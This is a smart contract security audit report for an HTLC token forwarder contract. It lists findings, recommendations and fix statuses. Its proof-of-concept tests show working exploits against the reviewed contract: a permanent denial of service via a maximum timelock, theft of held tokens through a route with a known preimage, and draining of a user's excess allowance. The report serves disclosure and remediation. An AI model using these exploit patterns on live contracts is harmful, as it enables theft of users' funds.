CANTINA

# Awesome htlc

## Security Review

Cantina Managed review by:

**Desmond Ho**, Lead Security Researcher
**Sujith Somraaj**, Security Researcher

January 8, 2025

# Contents


**1 Introduction** **2**
- 1.1 About Cantina . . . 2
- 1.2 Disclaimer . . . 2
- 1.3 Risk assessment . . . 2
  - 1.3.1 Severity Classification . . . 2

**2 Security Review Summary** **3**

**3 Findings** **4**
- 3.1 High Risk . . . 4
  - 3.1.1 Permissionless `route` creation leads to contract DoS and token theft . . . 4
- 3.2 Medium Risk . . . 6
  - 3.2.1 Refunds processed for incorrect direction . . . 6
  - 3.2.2 `HTLCERC20Settle` event emits `hashlock` instead of `preimage` . . . 6
- 3.3 Gas Optimization . . . 7
  - 3.3.1 Redundant allowance check . . . 7
  - 3.3.2 Redundant `locked` modifier . . . 7
- 3.4 Informational . . . 7
  - 3.4.1 SafeERC20 imported but unused . . . 7
  - 3.4.2 Counterparty balance can be drained if excess allowance is given . . . 8
  - 3.4.3 Code quality issues: missing `NatSpec` documentation . . . 8
  - 3.4.4 Sanity check non-zero amount for outgoing transactions . . . 9
  - 3.4.5 Additional tests . . . 9

# 1 Introduction

## 1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

## 1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

## 1.3 Risk assessment

| Severity | Description |
|---|---|
| **Critical** | *Must* fix as soon as possible (if already deployed). |
| **High** | Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users. |
| **Medium** | Global losses <10% or losses to only a subset of users, but still unacceptable. |
| **Low** | Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies. |
| **Gas Optimization** | Suggestions around gas saving practices. |
| **Informational** | Suggestions around best practices or readability. |

### 1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

# 2 Security Review Summary

StatsBridge is a decentralized aggregator of wrapped BTC liquidity across EVMs, allowing permissionless on/off-ramp to Bitcoin L1 and CEXes for unified BTC.

From Jan 4th to Jan 15th the Cantina team conducted a review of Awesome htlc on commit hash 1e884c86. The team identified a total of **10** issues:

**Issues Found**

| Severity | Count | Fixed | Acknowledged |
|---|---|---|---|
| Critical Risk | 0 | 0 | 0 |
| High Risk | 1 | 1 | 0 |
| Medium Risk | 2 | 2 | 0 |
| Low Risk | 0 | 0 | 0 |
| Gas Optimizations | 2 | 2 | 0 |
| Informational | 5 | 5 | 0 |
| **Total** | **10** | **10** | **0** |

# 3 Findings

## 3.1 High Risk

### 3.1.1 Permissionless `route` creation leads to contract DoS and token theft

**Severity:** High Risk

**Context:** ForwarderHashedTimelockERC20.sol#L64

**Description:** The `route()` function of `ForwarderHashedTimelockERC20.sol` enables users to create a route for incoming or outgoing transactions, provided that the preceding transaction is either settled or refunded and the contract remains in its initial state.

Because of the function's permissionless design and absence of input validations, a malicious actor can create routes with infinite timelocks, effectively blocking admins' ability to transfer tokens. They can also steal those tokens by creating malicious routes.

**Impact:**

- Permanently DoS the `ForwarderHashedTimelockERC20.sol` contract, forcing the project to deploy new forwarders.
- Block recovery of service tokens held in the forwarder by admin through the `transfer` function.
- Steal the service tokens in the forwarder by creating a route with a hashlock and a known preimage.

**Proof of Concept:**

- Attack Scenario 1: Permanent DoS.

  An attacker can:

  - Call `route()` with `_timelock` set to `type(uint256).max`.
  - Set `_incoming` to false to bypass depositing any tokens.
  - Use any invalid `_hashlock` since settlement won't be needed.

```
import {Test} from "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ForwarderHashedTimelockERC20} from "contracts/ForwarderHashedTimelockERC20.sol";

contract BobERC20 is ERC20 {
    constructor(uint256 _initialBalance) ERC20("Bob Token", "BobToken") {
        _mint(msg.sender, _initialBalance);
    }
}


contract ForwarderTest is Test {
    address public owner = address(69_420);
    BobERC20 public erc20;
    ForwarderHashedTimelockERC20 public timelock;

    function setUp() external {
        timelock = new ForwarderHashedTimelockERC20(owner);
        erc20 = new BobERC20(1_000_000e18);

        deal(address(erc20), address(timelock), 100e18);
    }

    function test_dos() external {
        /// asserting admin can transfer the tokens out of timelock
        assertEq(erc20.balanceOf(address(timelock)), 100e18);
        assertEq(timelock.counterparty(), address(0));

        /// malicious user creating a spam route with an invalid hashlock
        timelock.route(address(420), false, bytes32(0), type(uint256).max, address(0), 100e18);

        /// will revert that contract is in settlement state but the timelocked period is absurdly large
        ↪  (2336 - almost 300 years)
        vm.prank(owner);
        timelock.transfer(address(erc20), owner, 100e18);
    }
}
```

- Attack Scenario 2: Token Theft.

  An attacker can:

  - Call `route()` with `_hashlock` set to a value generated by using a known `_preimage`.
  - Use the known `_preimage` to settle and steal service tokens from the time-locked contract.

```
function test_steal() external {
    /// asserting admin can transfer the tokens out of timelock
    assertEq(erc20.balanceOf(address(timelock)), 100e18);
    assertEq(timelock.counterparty(), address(0));

    /// create a route by using a preimage that's already known
    timelock.route(address(420), false,
    ↪  bytes32(sha256(abi.encodePacked(keccak256("malicious-preimage")))), block.timestamp + 1
    ↪  seconds, address(erc20), 100e18);

    /// will steal by creating a route of a malicious preimage
    timelock.settle(keccak256("malicious-preimage"));

    assertEq(erc20.balanceOf(address(timelock)), 0);
    assertEq(erc20.balanceOf(address(420)), 100e18);
}
```

**Recommendation:** Consider implementing access controls for `route()` creation. However, if the core idea is to leave the function permissionless, consider sweeping all service tokens to a controlled treasury during reset and leave no funds in the contract.

Apart from the recommendations mentioned above, consider implementing checks to ensure the inputs to the function are valid. The input sanitation recommendations include:

1. Bounding the `_timelock` parameter with an upper bound (e.g., block.timestamp + 2 days).
2. Ensuring `_hashlock` value is not `bytes32(0)`.

3. Ensuring `_tokenContract` is not `address(0)`.
4. Ensure `_amount` validation is done for incoming and outgoing transactions.

**SatsBridge:** Fixed in commit 05ea0763.

**Cantina Managed:** Fixed. Outgoing transaction is made permissioned.

```
require(msg.sender == owner(), "Only owner can set outgoing transfers");
```

## 3.2 Medium Risk

### 3.2.1 Refunds processed for incorrect direction

**Severity:** Medium Risk

**Context:** ForwarderHashedTimelockERC20.sol#L100

**Description:** In the case of an incoming transaction, funds are pulled from the counterparty.

```
if (_incoming) {
  // ...
  IERC20(_tokenContract).transferFrom(_counterparty, address(this), _amount);
}
```

Hence, when the timelock expires and the counterparty requests a refund for this incoming transaction, funds should be released back. However, the implementation logic is inverted, where funds are instead released for outgoing transactions.

**Recommendation:** Refunds should release funds for incoming transactions instead of outgoing.

```
- if (!incoming) IERC20(tokenContract).transfer(counterparty, amount);
+ if (incoming) IERC20(tokenContract).transfer(counterparty, amount);
```

**SatsBridge:** Fixed in commit 95efef56.

**Cantina Managed:** Fixed.

### 3.2.2 `HTLCERC20Settle` event emits `hashlock` instead of `preimage`

**Severity:** Medium Risk

**Context:** ForwarderHashedTimelockERC20.sol#L93

**Description:** In `ForwarderHashedTimelockERC20.sol`, the `settle` function completes a transaction once it receives the `preimage` from the lightning network. This function also triggers the `HTLCERC20Settle` event along with the transaction.

The `HTLCERC20Settle` event is defined as follows:

```
event HTLCERC20Settle(bytes32 indexed preimage, address tokenContract, uint256 amount);
```

When processing outgoing transactions with the `settle` function, the contract generates the `HTLCERC20Settle` event, which logs the `hashlock` value instead of the `preimage` that unlocks the transaction. In contrast, incoming transactions correctly log the `preimage`, leading to an inconsistency in the contract's event-logging mechanism.

**Recommendation:** Consider fixing the event emission by recording the `preimage` value rather than the `hashlock` value.

```
  function settle(bytes32 _preimage) external nonReentrant hashlockMatches(hashlock, _preimage) locked returns
  ↪  (bool) {
     if (incoming) {
         emit HTLCERC20Settle(_preimage, tokenContract, amount);
      } else {
        IERC20(tokenContract).transfer(counterparty, amount);
-       emit HTLCERC20Settle(hashlock, tokenContract, amount);
+       emit HTLCERC20Settle(_preimage, tokenContract, amount);
      }
      resetContractState();
      return true;
  }
```

**SatsBridge:** Fixed in commit 922b5228.

**Cantina Managed:** Fixed.

## 3.3 Gas Optimization

### 3.3.1 Redundant allowance check

**Severity:** Gas Optimization

**Context:** ForwarderHashedTimelockERC20.sol#L72

**Description:** The allowance check is redundant because `tokenContract.transferFrom()` will check and ensure sufficient allowance has been given.

**Recommendation:**

```
- require(IERC20(_tokenContract).allowance(_counterparty, address(this)) >= _amount, "Token allowance must be
↪  >= amount");
```

**SatsBridge** Fixed in commit e0eaf503, condition changed to strict equality for user's safety.

**Cantina Managed:** Fixed.

### 3.3.2 Redundant `locked` modifier

**Severity:** Gas Optimization

**Context:** ForwarderHashedTimelockERC20.sol#L88

**Description:** The `locked` modifier is redundant for `settle()` because it first requires the `_preimage` to match the `hashlock`, which can only be the case if there is a prior route set, which then implies the `counterparty` is not null.

**Recommendation:**

```
- function settle(bytes32 _preimage) external nonReentrant hashlockMatches(hashlock, _preimage) locked returns
↪  (bool) {
+ function settle(bytes32 _preimage) external nonReentrant hashlockMatches(hashlock, _preimage) returns (bool) {
```

**SatsBridge:** Fixed in commit 35350f17.

**Cantina Managed:** Fixed.

## 3.4 Informational

### 3.4.1 SafeERC20 imported but unused

**Severity:** Informational

**Context:** ForwarderHashedTimelockERC20.sol#L73, ForwarderHashedTimelockERC20.sol#L92, ForwarderHashedTimelockERC20.sol#L100, ForwarderHashedTimelockERC20.sol#L107

**Description:** `SafeERC20` is imported but the conventional `.transfer()` and `.transferFrom()` methods are used instead of the `safeTransfer()` and `safeTransferFrom()` counterparts.

**Recommendation:**

```
- IERC20(tokenContract).transfer(counterparty, amount);
+ IERC20(tokenContract).safeTransfer(counterparty, amount);

- IERC20(_tokenContract).transferFrom(_counterparty, address(this), _amount);
+ IERC20(_tokenContract).safeTransferFrom(_counterparty, address(this), _amount);
```

**SatsBridge:** Fixed in commit 4c1e27a3.

**Cantina Managed:** Fixed.

### 3.4.2 Counterparty balance can be drained if excess allowance is given

**Severity:** Informational

**Context:** *(No context files were provided by the reviewer)*

**Description:** It is expected that the allowance given will only be the requested swap amount. However, should excess allowance be given either by the service or counterparty, then the excess allowance can be spent by anyone.

**Proof of Concept:**

```
it("Drains user funds if user gives large approval", async () => {
    let attacker = accounts[3];
    // user approves large balance
    await ercToken.approve(htlc.address, tokenSupply, { from: user });
    let userTokenBalance = await ercToken.balanceOf(user);
    hashPair = newSecretHashPair();
    hashlock = hashPair.hash;
    timelock = timeLock1Hour;
    // incoming hltc, but sent from attacker
    await htlc.route(
      user,
      true,
      hashlock,
      timelock,
      ercToken.address,
      userTokenBalance,
      {
        from: attacker,
      },
    );
    // settle
    await htlc.settle(hashPair.secret, {from: attacker});

    // now route outgoing, counterparty set to attacker address
    await htlc.route(
      attacker,
      false,
      hashlock,
      timelock,
      ercToken.address,
      userTokenBalance,
      {
        from: attacker,
      },
    );

    await htlc.settle(hashPair.secret, {from: attacker});
    assertTokenBalance(user, 0, "user wasn't drained");
    assertTokenBalance(attacker, userTokenBalance, "user wasn't drained");
});
```

**Recommendation:** Document and emphasize that excess allowances should not be granted.

**SatsBridge:** Fixed in commit e0eaf503.

**Cantina Managed:** Fixed.

### 3.4.3 Code quality issues: missing `NatSpec` documentation

**Severity:** Informational

**Context:** ForwarderHashedTimelockERC20.sol#L9

**Description:** The `ForwarderHashedTimelockERC20.sol` contract lacks NatSpec documentation for its functions, events, and state variables. This affects code readability, maintainability, and integration capabilities.

**Recommendation:** To improve code quality, consider adding comprehensive NatSpec documentation using **@notice, @dev, @param, and @return** tags for all functions, events, and state variables.

**SatsBridge:** Fixed in commit 82bd5010.

**Cantina Managed:** Fixed.

#### 3.4.4 Sanity check non-zero amount for outgoing transactions

**Severity:** Informational

**Context:** ForwarderHashedTimelockERC20.sol#L71

**Description:** The non-zero `amount` check is enforced only for incoming transactions. This means that for outgoing transactions, it is possible to specify zero amount, enabling a DoS attack vector when attempting to `settle()` for ERC20 token implementations that revert for 0 amount transfers.

**Recommendation:** Shift this check outside of the conditional `_incoming` field, so that it applies to both incoming and outgoing transactions.

**SatsBridge:** Fixed in commit 05ea0763. It was addressed in a different way. The `else` branch must contain ownership check so nobody but owner could set up HTLC for outgoing transfer.

**Cantina Managed:** Fixed.

#### 3.4.5 Additional tests

**Severity:** Informational

**Context:** *(No context files were provided by the reviewer)*

**Description:** The following patch can be applied to include more tests into the current test suite:

1. Copy the patch below and save to a file `tests.patch`.
2. `git apply tests.patch`.

```
diff --git a/evm/forwarder/test/forwarder.js b/evm/forwarder/test/forwarder.js
index 9edad23..1b7ad56 100644
--- a/evm/forwarder/test/forwarder.js
+++ b/evm/forwarder/test/forwarder.js
@@ -118,6 +118,7 @@ contract("Forwarding HTLC", (accounts) => {
    await assertTokenBalance(htlc.address, 0, "Wrong Contract balance");
    await assertTokenBalance(service, tokenAmount, "Wrong Contract balance");
  });
+
  it("Create newIncomingHtlc()", async () => {
    hashPair = newSecretHashPair();
    // User deposits into contract
@@ -203,6 +204,86 @@ contract("Forwarding HTLC", (accounts) => {
    await assert.equal(await htlc.hashlock(), EMPTY_BYTES);
  });

+  it("Past timelock", async () => {
+    const pastTimelock = (await helpers.time.latest()) - hourSeconds;
+    await expectRevert(
+      htlc.route(
+        user,
+        false,
+        hashPair.secret,
+        pastTimelock,
+        ercToken.address,
+        tokenAmount,
+        {
+          from: service,
+        },
+      ),
+      "Timelock time must be in the future",
```

```
+    );
+  });
+
+  it("Null counterparty address", async () => {
+    const updatedTimeLock = (await helpers.time.latest()) + hourSeconds;
+    await expectRevert(
+      htlc.route(
+        ZERO_ADDRESS,
+        false,
+        hashPair.secret,
+        updatedTimeLock,
+        ercToken.address,
+        tokenAmount,
+        {
+          from: service,
+        },
+      ),
+      "Counterparty can't be zero address",
+    );
+  });
+
+  it("Zero amount", async () => {
+    const updatedTimeLock = (await helpers.time.latest()) + hourSeconds;
+    await expectRevert(
+      htlc.route(
+        user,
+        true,
+        hashPair.secret,
+        updatedTimeLock,
+        ercToken.address,
+        0,
+        {
+          from: service,
+        },
+      ),
+      "Token amount must be > 0",
+    );
+  });
+
+  it("Insufficient balance", async () => {
+    const updatedTimeLock = (await helpers.time.latest()) + hourSeconds;
+    await ercToken.approve(htlc.address, tokenSupply, {from: service});
+    await expectRevert(
+      htlc.route(
+        service,
+        true,
+        hashPair.secret,
+        updatedTimeLock,
+        ercToken.address,
+        tokenSupply,
+        {
+          from: service,
+        },
+      ),
+      "ERC20InsufficientBalance"
+    );
+  });
+
+  it("Cannot refund if not in settlement state", async () => {
+    await expectRevert(
+      htlc.refund({from: service}),
+      "Not in settlement state"
+    );
+  });
+
   it("Wrong preimage on newIncomingHtlc()", async () => {
     hashPair = newSecretHashPair();
     // User deposits into contract
@@ -289,6 +370,20 @@ contract("Forwarding HTLC", (accounts) => {
       "Wrong Contract balance",
     );
   });
+
+  it("Should prevent owner from transferring tokens if contract is in settlement", async () => {
+    await expectRevert(
+      htlc.transfer(
```

```
+        ercToken.address,
+        service,
+        tokenAmount,
+        {
+          from: service,
+        },
+      ),
+      "Contract is in settlement state",
+    );
+  });
  it("Test settlement lock ", async () => {
    const updatedTimeLock = (await helpers.time.latest()) + hourSeconds;
    await expectRevert(
@@ -309,6 +404,7 @@ contract("Forwarding HTLC", (accounts) => {
    const receipt = await htlc.refund({ from: service });
    const event = receipt.logs.find((log) => log.event === "HTLCERC20Refund");
  });
+
  it("Test refunds Incoming", async () => {
    const updatedTimeLock = (await helpers.time.latest()) + hourSeconds;
    hashPair = newSecretHashPair();
```

**SatsBridge:** Fixed in commit ea829361.

**Cantina Managed:** Fixed.